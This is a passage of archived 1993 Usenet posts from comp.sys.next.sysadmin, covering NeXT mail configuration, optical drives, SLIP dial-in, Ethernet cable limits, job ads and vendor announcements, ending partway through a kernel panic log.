Newsgroups: comp.sys.next.sysadmin From: lupson@geom.umn.edu (Linus Upson) Subject: Re: gzip - New Compression Code from GNU Message-ID: <C43JoA.FDA@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota References: <1993Mar18.075302.3514@csus.edu> Date: Thu, 18 Mar 1993 18:07:19 GMT In article <1993Mar18.075302.3514@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: > In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes: > >Following are excerpts from a recent posting in gnu.announce by > >the good folks at the Free Software Foundation. > > >> Files compressed with this new > >> compression program end in `.z' (as opposed to `compress'-compressed > >> files, which end in `.Z'). > > EXCUSE ME!!! .z is RESERVED for Huffman-coded (a/k/a packed) > files. I guess FSF really wants to piss off the System V > community! > > Y'all send them nastygrams NOW. File extensions (along with Obj-C class & method names) are evil manifestations of global variables. Once file extensions are burnt up, they're gone forever (kinda like the rain forest), so make them long and descriptive. I would suggest .filecompressedbythegnugzipprogram, or alternatively, .gzip. Linus Upson The Geometry Center lupson@geom.umn.edu "Global variables... they're everywhere!"
Newsgroups: comp.sys.next.sysadmin From: edmtl@alf.uib.no (Thor Legvold) Subject: HELP - dialin won't work. Message-ID: <1993Mar19.151318.29817@alf.uib.no> Organization: University of Bergen, Norway Date: Fri, 19 Mar 93 15:13:18 GMT -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: Re: My Neighborhood Disappeared! Message-ID: <6288@blue.cis.pitt.edu> Date: 19 Mar 93 14:54:41 GMT References: <1oaf41INNdja@senator-bedfellow.MIT.EDU> Sender: news+@pitt.edu In article <1oaf41INNdja@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: > You know how when you click the folder of another user, its icon is supposed > to be a "neighborhood" of houses? Well on my standalone turbo color station, > when I click the home folder of the "me" account or my roomates account, > Thanks again, > Eric This happens if you choose the large file system option in preferences. If you will cancell this choice the neighborhood icon will return. Yadin.
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: Re: My Neighborhood Disappeared! Message-ID: <6289@blue.cis.pitt.edu> Date: 19 Mar 93 14:56:26 GMT References: <1oaf41INNdja@senator-bedfellow.MIT.EDU> Sender: news+@pitt.edu In article <1oaf41INNdja@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: > You know how when you click the folder of another user, its icon is supposed > to be a "neighborhood" of houses? Well on my standalone turbo color station, when I click the home folder of the "me" account or my roomates account, there are no houses. What is the problem? > Eric This happens if you choose the large file system option in preferences. If you will cancell this choice the neighborhood icon will return. Yadin.
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: My Neighborhood Disappeared Message-ID: <6290@blue.cis.pitt.edu> Date: 19 Mar 93 14:57:45 GMT Sender: news+@pitt.edu In article <1oaf41INNdja@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: > You know how when you click the folder of another user, its icon is supposed > to be a "neighborhood" of houses? Well on my standalone turbo color station, when I click the home folder of the "me" account or my roomates account, there are no houses. What is the problem? > Eric This happens if you choose the large file system option in preferences. If you will cancell this choice the neighborhood icon will return. Yadin.
From: dan@quiensabe.az.stratus.com (Dan Danz) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mail.app Leave My /usr/spool/file alone Date: 19 Mar 1993 15:36:09 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <1ocp99$95p@transfer.stratus.com> References: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca> System Administrator (whoever that really is) writes > Eric Kolotyluk (eric@cs.sfu.ca) wrote: > : reply to: eric@sfu.ca > : > : It is extemely frustrating to run Mail.app on a network of Suns. > : While running Mail.app is a nice way to minimize disk utilization > : in the /usr/spool partition, it drives me (an my users) nuts when > : you go back to running a `regular' mail program like, mail, elm, > : mailtool, etc. > : > : Is there a way to make/configure Mail.app to leave you mail in > : the /usr/spool/file? > > Not that I know of; BUT > you can do this: > 1. Tell elm that your folders are in ~/Mailboxes > 2. cd ~/Mailboxes > 3. For everything except Active.mbox > link $name -> Mailboxes/${name}.mbox/$name [..omitted..] Well, I use ELM but in a slightly different way that might be of interest to Eric as well. One of the reasons I use ELM is that I frequently telnet into my NeXT(s) from a non-NeXT system. It was annoying that the Mail.app would pull things out of /usr/spool/mail/{$USER}, but at the same time there were times when I had to have NeXT's Mail.app read the mail because it was sent in NeXT format. The solution was three-fold: 1. You can tell Mail.app to look in a different directory (but not a different file in that directory) Change Mail.app Info.../Preferences/Expert/Spooldir to be ${HOME}/Mail. (expand ${HOME} when you enter this). The actual file will will be ${HOME}/Mail/${USER}. 2. Make ELM use the same directory as your folder directory: (In .elm/elmrc, maildir = ~/Mail 3. I use Chip Salzenberg's "Deliver" to preprocess incoming mail to redirect NeXT-formatted mail directly to the file that Mail.app will look at, and then I also send myself a non-Next reminder that I'll see under ELM. This step is optional; you can get the same effect by saving the NeXT formatted mail under elm, using the folder that is the same as your userid (e.g. for me, =dan). Here's an extract of my Deliver script (it triggers on the header field "Next-Attachment") SUBJECT=`header -f Subject ${HEADER}`;export SUBJECT NEXT=`header -f Next-Attachment ${HEADER}` if [ -n "$NEXT" ]; then echo "${1}:Mail/${1}" # deliver to NextMail mailbox echo "Forwarded to NextMail mailbox" | \ cat - ${HEADER} | \ /usr/ucb/Mail -s "${SUBJECT} {Next}" "$1" else echo "$1" # Keep the mail in regular spool file fi I've been using this technique for more than a year and am quite pleased with it. -- L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com Sr Consulting Software SE NeXT Mail: dan@az.stratus.com Customer Assistance Center Voice Mail/Pager: (602) 852-3107 Telecommunications Division Customer Service: (800) 828-8513 Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
From: anderson@sapir.cog.jhu.edu (Stephen Anderson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Mail.app Leave My /usr/spool/file alone Date: 19 Mar 93 12:15:17 Organization: Dept. of Cognitive Science, The Johns Hopkins University Message-ID: <ANDERSON.93Mar19121517@sapir.cog.jhu.edu> References: <1993Mar18.181632.5639@kakwa.ucs.ualberta.ca> <1ocp99$95p@transfer.stratus.com> In-reply-to: dan@quiensabe.az.stratus.com's message of 19 Mar 1993 15:36:09 GMT I use MH in a way quite similar to the one described by Dan Danz for ELM. What I do, briefly, is to have the mh program "slocal" (yes, I know this is a much maligned utility, but it works for me....) sort the stuff that arrives in /usr/spool/anderson into three separate spool files in my home directory: one for NeXTmail, one for stuff from a mailing list ("Linguist"), and one for other non-NeXTmail. That way, I can read NeXTMail with Mail.app when there is some, or use mh to read other mail either from a terminal or within Emacs. What's necessary (besides setting the default directories for Mail.app and mh) is a .forward file to send stuff to slocal and a .maildelivery file to tell slocal how to sort it out. This works particularly well because I was sent a mail notifier called "MailMan" some time ago by Jeff Kight (<jkight@american.edu>) which watches two different mailboxes (one for NeXTmail and one for regular mail), and flashes in one or both of two distinctive ways when there's unread mail in either or both of them. I'd post this, but I don't have any right to publish his work :-) Anyway, just to make it clear how simple this is I append the entire contents of my .forward and .maildelivery files. --Steve Anderson (.forward) | /usr/local/mh/lib/slocal -user anderson (.mailelivery) Next-Attachment 0 > A /home/sapir/anderson/Mailboxes/anderson From "The Linguist List" > A /home/sapir/anderson/Mail/Linguist.spool default - > ? /home/sapir/anderson/Mail/Spool
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.advocacy Subject: Pencom Software Seeks 8 NeXT Engineers (North America) Message-ID: <7087@rosie.NeXT.COM> Date: 19 Mar 93 17:36:48 GMT Sender: news@NeXT.COM Followup-To: comp.sys.next.programmer Pencom Software Seeks 8 NeXT Engineers Location: North America (Northeast, Midwest, Texas) AUSTIN, TEXAS - March 18, 1993 - Pencom Software's team of NeXT engineers are specifically dedicated to serving both developers and end user organizations equipped with workstations and software from NeXT Computer, Incorporated. Already a NeXT-authorized systems integrator as well as a registered NeXT software developer, Pencom is expanding the service to capitalize on the resent announcements made by NeXT Computers. Pencom continues to be the leader for NeXT software development and consulting services, and has never been more dedicated to the NeXT environment than now. Pencom Software is a division of Pencom Systems Incorporated, a New York-based firm providing software engineering and manpower resources to Fortune 500 companies and leading computer firms since 1973. Currently the largest recruiting firm specializing in the UNIX/Open Systems market, Pencom employs over 500 people and maintains a large heterogeneous network of workstations including more than 70 NeXT machines. For more information, contact: Clint Tomlinson - Manager, NeXT Recruiting Pencom Software 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512-346-6444 E-Mail: clint@pencom.com The following positions are available nationwide (US): Texas 1 - Object Oriented Programmer * 2+ years Object Oriented Programming (C++/Objective C) * 2+ years database design and database applications * 5 years UNIX/C application development * 2+ years RDBMS (SYBASE preferred) * 1+ years NeXTSTEP applications development * AIX/RS6000 programming * AppKit, DBKit, NeXTSTEP 3.0, OOD * GUI and Porting experience 1 - Software Support/Programmer * Xwn/Xserver programming * UNIX/C/Objective C/Postscript * X/NeXTSTEP, co-Xist * Good oral and written skills * Technical support a plus * Marketing experience a plus Northeast 1 - Database Specialist * 3+ years database design and database applications development (ORACLE/SYBASE preferred) * 3 years UNIX/C application development * 3 years RDBMS experience using an SQL-based RDBMS * 1+ year NeXTSTEP applications a plus * AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective C a plus Mid-West 2 - Senior Applications Development Engineer * 5-7 years UNIX/C applications development * Financial trading applications * 1+ years NeXT/NeXTSTEP/AppKit/ DBKit/Objective C * Sun, SYBASE/C++ a plus 3 - Software Engineers * NeXT/UNIX application software development * Strong NeXTSTEP, AppKit, Interface Builder, DBKit * High level design, rapid prototyping in NeXT * Strong Objective C or C++ * 3 to 5 years experience Sorry, these positions require Permanent Residence and 2+ years industry experience..Thank you for your understanding... More positions available soon!!
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.misc,comp.sys.hp,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: NeXT Public Statement on the Uniforum/UNIX Unification Announcements Message-ID: <7097@rosie.NeXT.COM> Date: 19 Mar 93 18:47:31 GMT Sender: news@NeXT.COM Followup-To: comp.sys.next.misc NeXT Public Statement on the Uniforum/UNIX Unification Announcements UNIX LEADERS ANNOUNCE COMMON OPEN SOFTWARE ENVIRONMENT (COSE) "SAN FRANCISCO (MARCH 17) BUSINESS WIRE - Worldwide UNIX system leaders Hewlett-Packard Co., IBM Corp., The Santa Cruz Operation Inc., Sun Microsystems Inc., Univel and UNIX System Laboratories Inc. Wednesday announced their intent to deliver a common open software environment across their UNIX system platforms...." NeXT applauds efforts driven by HP and IBM to begin to unify core elements of the Unix operating system. NeXT has been and will continue to follow these developments closely. We actively endorse these efforts, particularly the goal of creating a common, portable API layer. We have an engineering team evaluating how a future version of NeXTSTEP could support this layer, and how NeXTSTEP's leadership in object-oriented systems might add value to emerging Unix API standards. "Besides challenging Microsoft, the new Unix alliance deals a serious blow to the already reeling NeXT Inc., led by Steven P. Jobs. Mr. Jobs, who last month abandoned his computer business in favor of pushing NeXT's operating program, has been scrambling to win the support of Sun, H-P, Novell and others.... "Edward Zander, chief of Sun's software unit, said the alliance decided to reject Mr. Jobs' software and embrace a set of specifications, called an interface, that will make applications written for any variant of Unix look and work the same to a customer. "We never considered NeXT ...because their software never developed a big enough following," Mr. Zander said. Sun's comments about NeXT and NeXTSTEP are completely inaccurate. Indeed, beyond defining how NeXTSTEP can add value to these emerging standards, NeXT is also working closely with individual members of the new Unix coalition.
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) Newsgroups: comp.sys.next.sysadmin Subject: restoring a corrupted dump Date: 19 Mar 1993 21:42:33 GMT Organization: Computer Science Department at Rose-Hulman Message-ID: <1odeo9INN65r@master.cs.rose-hulman.edu> When trying to restore from a dump to an exabyte tape drive, the restore program keeps prompting for a second tape. The problem is that the dump went onto 1 tape (not 2). It appears the info in the restoresymtable which is the first file on the tape may be corrupted. Does anyone have a solution (program) for restoring this data? -- -Randy Nelson Workstation Support Manager Rose-Hulman Institute of Technology Email: Randy.Nelson@Rose-Hulman.Edu
From: kheit@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: HELP! Get get a SCSI OD to work on NeXT. Keywords: OD help optical Message-ID: <Mar.19.19.24.31.1993.10036@gandalf.rutgers.edu> Date: 20 Mar 93 00:24:31 GMT Followup-To: comp.sys.next.hardware Organization: Rutgers Univ., New Brunswick, N.J. Hi all, I need help with an Optical Drive that I picked the other day. Its not one of the newer super fast drives, but I know its ISO compliant. Its a Richo 600 meg drive. Anyway, If I put in an apple formated OD everything works great, but if I try to format a blank OD, or reformat an apple OD, then my machine just spits out the OD an gives console errors (which are included in the post--down below). Maybe this is one of those mystical disktab problems Ive been hearing about. Anyway, I would greatly appreciate any help in getting this OD drive to work. I got some info on the drive and its listed below. many blessings and thanks in advance :) Later, John ***Info on the unit*** localhost:1# disk /dev/rsd1a disk name: RICOH RO-5030E2 disk type: removable_rw_scsi Disk utility disk> quit localhost:2# scsimodes /dev/rsd1a SCSI information for /dev/rsd1a Drive type: RICOH RO-5030E2 64548 bytes per sector 1023 sectors per track 0 tracks per cylinder 0 cylinder per volume (including spare cylinders) Host bad block handling 8192 alternate tracks per volume 576998 usable sectors on volume ***Inserting an apple OD and trying to format it as a NeXT OD*** Mar 19 15:25:07 Workspace: Mounted scsi disk at /New Disk Mar 19 15:25:13 Workspace[134]: DeviceInitPanel - Cannot select the default (cho osing NeXT instead) Mar 19 15:25:19 Workspace: Unmounted foreign disk at /New Disk /usr/etc/disk -i -h localhost -l "New Disk" /dev/rsd1a sd1 (2,0): ERROR op:0x1a sd_state:4 scsi status:0x0 sd1 (2,0): sense key:0x5 additional sense code:0x24 SCSI Block in error = 0 (no valid label) disk name: RICOH RO-5030E2 disk type: removable_rw_scsi writing disk label creating new filesystem on /dev/rsd1a /usr/etc/newfs -n -v /dev/rsd1a /etc/mkfs /dev/rsd1a 288339 1803 2 8192 1024 16 10 60 4096 t cylinder group too large (16 cylinders); max: 15 cylinders per group /usr/etc/newfs /dev/rsd1a failed (status 1) Mar 19 15:35:19 localhost WindowServer[128]: IPCFlushOutput: failed to flush out put for stream 0x273408. ***Inserting a non-apple OD*** Target 2: BUSY; retry 1 sd1 (2,0): ERROR op:0x1a sd_state:4 scsi status:0x0 sd1 (2,0): sense key:0x5 additional sense code:0x24 SCSI Block in error = 0 (front porch) Disk Label: New Disk Disk Capacity 281MB, Device Block 512 bytes Disk is Write Protected
Newsgroups: comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin From: henry@trilithon.mpk.ca.us (Henry McGilton) Subject: How many People Still Running 2.x Message-ID: <1993Mar20.191652.1841@trilithon.mpk.ca.us> Sender: henry@trilithon.mpk.ca.us Organization: Trilithon Software Date: Sat, 20 Mar 1993 19:16:52 GMT I'm interested to know how many people are still on 2.x versus how many people have upgraded to 3.x. Is 2.x still alive and kicking, or has everybody moved on to Nirvana and 3.x? ........ Henry
Newsgroups: comp.sys.next.sysadmin From: uunet!eps!steve (Steve Kornreich) Subject: PORTAL info Message-ID: <1993Mar21.071610.247@eps.com> Sender: steve@eps.com Organization: Electronic Publishing Services Date: Sun, 21 Mar 1993 07:16:10 GMT Does anyone have any opinion about PORTAL?. We are currently using UUNET for our e-mail, and USENET stuff. Is there a NeXTStep frontend for using PORTAL? Let me know... Steve Kornreich steve@eps.com
From: dylan@midiline.la.ca.us (Comrade D) Newsgroups: comp.sys.next.sysadmin Subject: /etc/disktab for Pinnacle PMO-650 Message-ID: <T09q1B1w165w@midiline.la.ca.us> Date: Sun, 21 Mar 93 01:23:28 PST Organization: MIDILine BBS - Altadena, CA - (818) 797-3285 Help! I've got to get this drive running as soon as possible. Does anyone have the /etc/disktab entries for using a Pinnacle PMO-650 optical hard drive with the NeXT and 3.0? Thanks in advance, Dylan P.S. Please reply to dylan@angst.com, not the above address. ------------------------------------------------------------------- Dylan Kohler dylan@angst.com (NeXTmail welcome)
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: .signature in NeXTmail again... Message-ID: <1993Mar21.163904.9713@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Sun, 21 Mar 1993 16:39:04 GMT Forgive my ignorance, but is there a way to have .signature added to your mail window, that works both for NeXTmail and normal mail? If I use the way described in the FAQ, can I still send NeXTmail? --Gerben -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
From: edmtl@alf.uib.no (Thor Legvold) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: HELP - dialin won't work. Message-ID: <1993Mar21.165055.15042@alf.uib.no> Date: 21 Mar 93 16:50:55 GMT References: <1993Mar19.151318.29817@alf.uib.no> Organization: University of Bergen, Norway It seem that the text of my posting never made it out. Here it is again... Hi. I'm trying to get SLIP to work (at this point, ANYTHING to work...) I've configured a U1496E (ZyXEL) on my Cube (040), and am trying to enable both dialout and dialin. I have NXFax going, and it is set up _not_ to answer calls. The modem's S register for auto answer is enabled. I have edited /etc/gettytab and /etc/ttys to enable dialout and dial in with flow control. I have a proper cable. The modem is configured to use hardware flow control, and auto handshaking. When I send a fax, or dial about any BBS in the world, everything works perfectly. When I dial the SLIP server, I get a connect, followed by a string of garbage characters (usually 'z's and tildes), but no login prompt. I tried all bit/parity combinations I could (although it's set up to allow any) without luck. I also tried connecting at lower, fixed speeds without luck. The server is a Cube with an Intertex IX33. And proper cabling. The same modem and cable works with UUCP on a friends NeXT, so I imagine the problem lies between the modem answering (it does - and I get the CONNECT 14400 string) and getty starting the appropriate device and login, or that the info from login gets ruined by the modem. Yes - getty is running and listening to the correct line at the correct speed (/dev/cufa D9600). Just for fun I set up my NeXT to accept dial in (followed the NeXT sys admin books and FAQ/NeXTanswers to the letter) and tested it from a friends PC. I got CONNECT just fine, but nothing after that. I tried several times, without luck. What am I doing wrong??? Do all NeXT's have a problem with dialin? I think not, but I can't figure out what's wrong. I remember seeing this problem some time (years) ago, but I don't remember how I fixed it. It seems to me there is something simple I've missed... If someone would be kind enough to help out, I can send a copy of my /etc/ttys and /etc/gettytab, or other relevant information. Update - I got CONNECT 1200/MNP5 yesterday evening. Unfortunatly I was using kermit, not SLIP, but I logged in and verified the connection. When I retried with SLIP I got the same old problem. Strange. Regards, -- Thor Legvold | This is the strangest life NorNeXT User Group leader | I've ever known... University of Bergen | - Jim Morrison, The Doors
From: andrew@stone.com (Andrew Stone) Newsgroups: comp.sys.next.sysadmin Subject: Thin Net Length Limits: Real or Imaginary? Keywords: Ethernet Message-ID: <1993Mar21.151602.228@stone.com> Date: 21 Mar 93 15:16:02 GMT Article-I.D.: stone.1993Mar21.151602.228 Sender: andrew@stone.com Organization: Stone Design Corp I am interested in discerning what the actual length limit of a "thin wire" ethernet LAN is - I've heard various figures: 600', 1500'. If you have hard data on any installation which approaches these limits, I'd be interested in hearing how the performance is, or what additional hardware you have added to deal with slow packets down a long run. Thanks! andrew -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.sysadmin Subject: ixbuild problems Keywords: ixbuild, indexes, bugs Message-ID: <1oij62INN43t@theborg.stack.urc.tue.nl> Date: 21 Mar 93 20:28:50 GMT Organization: the Borg Hello networlders, While I was updating my index for the manual pages (/usr/man, /usr/local/man) I had a problem with ixbuild: it exited with a bus error. It visited all manual pages and after that it crashed. I gave it the following options: agcsuv. Can anyone shed some light on this? When I started Digital Librarian and did a manual update, I could search through the entries though my .index.store files has become remarkably smaller... Thanks for your help, Annard
Newsgroups: comp.sys.next.sysadmin From: yf5990@u.cc.utah.edu (Yan Fang/Humanities) Subject: Re: My Neighborhood Disappeared! Message-ID: <1993Mar22.031429.14854@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Student Mail Machine References: <1oaf41INNdja@senator-bedfellow.MIT.EDU> <6289@blue.cis.pitt.edu> Date: Mon, 22 Mar 93 03:14:29 GMT In article <6289@blue.cis.pitt.edu> yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) writes: >In article <1oaf41INNdja@senator-bedfellow.MIT.EDU> >zmonster@athena.mit.edu (Eric M Hermanson) writes: >> You know how when you click the folder of another user, its icon is >supposed >> to be a "neighborhood" of houses? Well on my standalone turbo color >station, > when I click the home folder of the "me" account or my roomates account, >there are no houses. What is the problem? > >> Eric > >This happens if you choose the large file system option in preferences. >If you will cancell this choice the neighborhood icon will return. >Yadin. It also happens if you build a new account and use the Workspace to copy or move your old files into the new places. There's something weird about a file in .NeXT that will make your account look like it's the only one in the machine, i.e., the neighborhood goes away. km
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Thin Net Length Limits: Real or Imaginary? Message-ID: <1993Mar22.062036.5995@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Mar21.151602.228@stone.com> Date: Mon, 22 Mar 1993 06:20:36 GMT In article <1993Mar21.151602.228@stone.com> andrew@stone.com (Andrew Stone) writes: >I am interested in discerning what the actual length limit of a "thin >wire" ethernet LAN is - I've heard various figures: 600', 1500'. For "thin wire" (10base2) it's 185m (600'). Maximum of 30 breaks (each tee or barrel counts). The minimum separation between nodes is pretty small (I think it's .5m, but don't quote me on that). NO cable is permissible between tees and tranceivers. Some vendors (e.g. 3Com) build hardware that can exceed the standard limits, but only if you use their stuff exclusively. Repeaters, bridges, routers, etc. "legally" allow you to exceed the limits of a single cable. 10base5 ("thick wire") generally has higher limits and 10baseT ("UTP") lower limits. If you want The Whole Story, ask on comp.dcom.lans.ethernet. Are the limits real? In a word: yes. But there isn't some infinitely steep boundary between working and nonworking. You'll see erratic behavior long before it craps out completely. Sometimes things will work perfectly, sometimes the network will be "slow," sometimes particular nodes will have trouble communicating--but the others seem OK, sometimes you'll get NFS complaints, etc. -=EPS=-
From: alexhart@blackx (Alex Hartley) Newsgroups: comp.sys.next.sysadmin Subject: '30 plus '40 slab Date: 22 Mar 1993 10:18:05 GMT Organization: CERFnet Distribution: world Message-ID: <1ok3otINN1d7@news.cerf.net> slab -- Alex Hartley - NeXTmail preferred Alex Hartley and Associates Los Angeles, California
Newsgroups: comp.sys.next.sysadmin From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: Thin Net Length Limits: Real or Imaginary? Message-ID: <1993Mar22.152453.19783@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <1993Mar21.151602.228@stone.com> <1993Mar22.062036.5995@csus.edu> Date: Mon, 22 Mar 1993 15:24:53 GMT In article <1993Mar22.062036.5995@csus.edu> eps@cs.sfsu.edu writes: >Are the limits real? In a word: yes. But there isn't some >infinitely steep boundary between working and nonworking. You'll >see erratic behavior long before it craps out completely. >Sometimes things will work perfectly, sometimes the network will >be "slow," sometimes particular nodes will have trouble >communicating--but the others seem OK, sometimes you'll get NFS >complaints, etc. > > -=EPS=- There were ridiculously long cable lengths in a student lab here. The diskless clients never noticed anything special. But if a client was turned off, some other clients rebooted at the same time. A few months ago, the cable length was reduced to the shortest possible path and the problems went away. But the cable length limit is primarily to make sure that collisions can be detected reliably (it's the distance the first bit of the shortest allowed packet may travel when the last bit is being sent). -Marcel
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Hot Technologies Introduces Distributed Serial Port Kit Message-ID: <7111@rosie.NeXT.COM> Date: 22 Mar 93 17:55:53 GMT Sender: news@NeXT.COM Followup-To: comp.sys.next.programmer News: For further information, contact: Robert La Ferla Hot Technologies 75 Cambridge Parkway, Suite E-504 Cambridge, Massachusetts 02142-1238 USA Phone: (617) 252 0088 or + 1 617 252 0088 Email: info@hot.com FOR IMMEDIATE RELEASE HOT TECHNOLOGIES INTRODUCES DISTRIBUTED SERIAL PORT KIT An Innovative Client-Server Paradigm for Serial Communications March 22, 1993 BOSTON - Hot Technologies today introduced a comprehensive object library and palette for client - server control of serial peripherals in custom NeXTSTEP(R) applications. The SerialPortKit(TM) is designed to help organizations and developers control a variety of serial devices such as modems, printers, terminals, audio/video equipment, bar code readers, magnetic stripe card readers, controllers and data acquisition devices. The advanced distributed architecture of the SerialPortKit allows a client application to remotely access serial devices anywhere on a network. An organization can use the SerialPortKit to share dial-out modems in a department whether the modems are located in the same building or halfway across the world. Organizations can easily incorporate the SerialPortKit into their custom applications due to its professionally designed and truly object-oriented programming interface. The included Interface Builder(TM) palette, source code examples and on-line reference manuals further removes the tedious task of traditional serial port programming. Reliability and robustness add to the sophistication of the SerialPortKit. The serial port server technology utilizes multiple threads of execution and tri-state buffering for optimal speed and efficiency in a network environment. Other features include asynchronous and synchronous communications including automatic data forwarding, automatic port locking which allows other software to share the serial ports, and built-in network data security. SerialPortKit joins Hot Technologies' BarCodeKit, a comprehensive object library for generating bar codes. By combining the power of object-orientation and PostScript into a comprehensive library of international standard bar code symbologies, BarCodeKit represents the state of the art in bar coding technology. Availability and Pricing Both the SerialPortKit and BarCodeKit are available now for NeXTSTEP 3.0 directly from Hot Technologies. Customers who purchase either kit before July 1, 1993 are eligible for a free upgrade to the NeXTSTEP for Intel(R) Processors version. In addition, developers who have purchased other serial communication objects prior to March 1, 1993 can upgrade to the SerialPortKit for $49.95 plus proof of purchase. Hot Technologies develops, markets and supports component software and hardware that allows organizations to construct automated solutions for increased productivity. Hot Technologies is headquartered at 75 Cambridge Parkway, Suite E-504, Cambridge, Massachusetts 02142-1238 USA. Call Hot Technologies at + 1 617 252 0088 for further information or for a copy of the company's brochures. Hot Technologies, SerialPortKit, and BarCodeKit are trademarks of Hot Technologies. NeXTSTEP and Interface Builder are trademarks of NeXT Inc. Intel is a registered trademark of Intel Corporation.
From: filibert@vista (Daniel Filiberti) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Reformatting DAT (WangDAT only) Message-ID: <1993Mar22.195050.26552@ohsu.edu> Date: 22 Mar 93 19:50:50 GMT Article-I.D.: ohsu.1993Mar22.195050.26552 Sender: news@ohsu.edu Organization: Oregon Health Sciences University If there is any interest, I found out how to reformat my DAT tapes from uncompressed to compressed (or vice versa) on a WangDAT (Microtech Eclipse 2.0T). This comes in very handy, since the DAT drive sensed the type of data on the tape when it is inserted, and most software (crappy RunningBack, in particular) doesn't allow for forcing a reformat in the opposite compression mode, which means once formatted w/o compression, always formatted w/o compression, ugh! Well, I now have seen the light... Anyhow, if many people email me, I can be convinced to post how to do it... Daniel Disclaimer: Of course, I won't be responsible for any consequences of this method, use it at your own risk...I am ;) and, I'll say that line again later. --- ************************************************************ Motto for a monitor, "It's better to burn out, than to fade away..." [8?)} ************************************************************ Daniel Filiberti Oregon Health Sciences University Biomedical Information Communication Center (BICC) 3181 Sam Jackson Park Road Portland, Oregon 97201-3098 email: filibert@ohsu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: fletcher@socrates.umd.edu (Charles Fletcher) Subject: Help Needed: Boot panic when networked Message-ID: <1993Mar22.215252.18494@socrates.umd.edu> Keywords: boot, panic, networking Organization: University of Maryland University College Date: Mon, 22 Mar 1993 21:52:52 GMT I have a NeXTstation which acts as a "server" on a two machine network with a Sun Sparc 2 that we just obtained (there is the problem, you say!-) Anyway, without knowing much (the other problem) I have networked the machines so that rlogin/ftp work (easy), the NeXT printer serves the Sun (harder), and there are some common mounted directories (hard-if this is what is causing my problem.) The Sun mounts the NeXT directories as either "rw,hard,intr,bg" or "ro,soft,bg" which I exported from the NeXT using the NFSManager.app. No yellow pages, no look-up tables, etc. Everything seems fine, until I need to reboot the NeXT. Then I get a kernel panic when the network daemons are starting (sometimes at slightly different points). If I remove the NeXT from the network, it boots without problem. If I remove all the exported and imported directories from the NeXT and the Sun, it will eventually boot (sometimes not on the first try). Everytime I think I have it narrowed downed to a couple of causes, it acts differently--thus driving me crazier than usual. Can someone please help me. Here is the last of the boot info before the panic: Mar 22 14:45:03 tsinext mach: root on sd0 Mar 22 14:45:03 tsinext mach: master cpu at slot 0. Mar 22 14:45:07 tsinext netmsgserver[62]: network_init Mar 22 14:45:31 tsinext mach: unexpected kernel page fault failure Mar 22 14:45:31 tsinext mach: trap: type 0x410 fcode 5 rw 1 faultaddr 0x11020000 Mar 22 14:45:31 tsinext mach: trap: pc 0x10f8ef8c sp 0x37ff60 sr 0x2000 Mar 22 14:45:31 tsinext mach: trap: cpu 0 th 0x10139ff4 proc 0x0 pid 0 pcb 0x10fa600c Mar 22 14:45:31 tsinext mach: traceback: fp 0x10fa6f34 Mar 22 14:45:31 tsinext mach: called from pc 10f9012c fp 10fa6f4c 4-args 00ff9b01 10136720 0000000d 10fa6f9c Mar 22 14:45:31 